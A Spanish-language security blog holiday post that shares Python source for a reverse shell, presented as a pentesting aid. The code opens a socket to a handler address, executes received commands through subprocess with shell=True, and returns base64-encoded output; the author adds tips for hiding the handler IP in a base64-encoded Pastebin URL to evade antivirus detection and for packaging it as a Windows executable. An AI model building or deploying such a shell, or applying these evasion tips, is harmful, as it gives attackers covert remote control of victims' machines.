Este año es mi quinta (5) Navidad con vosotros, parece que fuera
ayer (25/Dic 2011) cuando celebré la primera Navidad con todos vosotros,
el camino recorrido hasta ahora ha sido gratificante y emocionante, pero
quizás lo es aún más el camino que queda por recorrer.
Como es habitual, la intensidad con la que publico artículos se
encuentra supeditada a la vida misma (y a los deseos de mi pequeña xD),
el pasado 2014, se me olvido felicitar la Navidad, por lo que este año
me ha parecido que la mejor forma de celebrarlo con vosotros es
compartiendo el código de una shell reversa escrita en python … que
puede resultar de gran utilidad durante una Auditoria / Pentesting.
Muchas Gracias a todos por seguirme y leer mis publicaciones, no vemos
el año próximo. Feliz Navidad con mis mejores deseos para el año que
viene.
Custom Python Reverse Shell
Code*:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
def shell():
#Base64 encoded reverse shell
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', int(443))) s.send('[*] Connection Established!') while 1: cmd = s.recv(1024) if cmd == "quit": break response = run_cmd(cmd) if response: encoded = base64.b64encode(response) else: response = 'Running: {}'.format(cmd) encoded = base64.b64encode(response) s.send(encoded) except socket.error: sys.exit(2) except WindowsError: pass finally: s.close() |
Es un fragmento de como se puede implementar una “Shell” de conexión
inversa en python de forma sencilla. Falta por supuesto como ejecutar
comandos en el sistema:
1
2
3
4
5
6
7
8
9
10
|
def run_cmd(data):
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout = proc.stdout.read() + proc.stderr.read() return stdout |
He utilizado subprocess para la ejecución de “comandos” en el sistema
remoto. Estoy seguro que mas de uno esta pensando técnicas para mejorar
la shell, implementar nuevos comandos, etc. Por ejemplo, la IP podría
cogerla de un registro DNS, o de un recurso WEB publico, para evitar
hardcodear (incrustar) la IP dentro del código fuente. Se recomienda,
hardcodear en base64 la URL del recurso WEB para determinar la IP del
“handler” y tratar de evitar la detección como malware por los antivirus
(*Alguien se anima a mejorar la Shell implementando la obtención de la
IP desde un recurso web publico como pastenBIN?*)
Compatible tanto en Windows como en Linux, se puede crear un ejecutable
para Windows utilizando pyexe o pyinstaller.
Es un “shell” muy simple pero efectiva. Os invito a probarla y comentar
las limitaciones que tiene la Shell y como se podrían solventar!
Por supuesto, os dejo como trabajo para casa, la creación del “cliente”
que se conecta y maneja la conexión inversa con la shell .. xD
#ST2 #ST2Labs os desea:
<span
style=“border: none; font-size: small; list-style: circle inside; margin: 0px; outline: none; padding: 0px;“>**<span
style=“border: none; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: none; padding: 0px; text-align: start;“>¡¡¡FeliZ
Navidad!!!<span id=“result_box” class=“short_text” lang=“en”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“> -
Merry Christmas - <span id=“result_box” class=“short_text”
lang=“fr”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>Joyeux
Noël - <span id=“result_box” class=“short_text” lang=“de”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>Frohe
Weihnachten - <span id=“result_box” class=“short_text” lang=“ru”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>С
Рождеством - <span id=“result_box” class=“short_text”
lang=“zh-CN”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>圣诞节快乐
- <span id=“result_box” class=“short_text” lang=“it”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>Buon
Natale - <span id=“result_box” class=“short_text” lang=“sv”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>God
Jul -<span id=“result_box” class=“short_text” lang=“pt”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>Feliz
Natal …**
<span
style=“border: none; font-size: small; list-style: circle inside; margin: 0px; outline: none; padding: 0px;“>**<span
class=“short_text” lang=“pt”
style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>
**
@rhodius | @seguridadxato2 | @st2labs
[*] Basada en el código
Ver también
- [cymon-analyzer] | Modulo de Análisis Reputación IP en Cymon.io para Cortex Engine | theHive-project
- [SIPI] Simple IP Information Tool is out
- Windows Forensics Tips - USB Write Protected
- 3Ed - Máster Seguridad TIC 15/16 - Abierto Plazo de Matriculación
- II Jornada de Seguridad en las Comunicaciones y la Información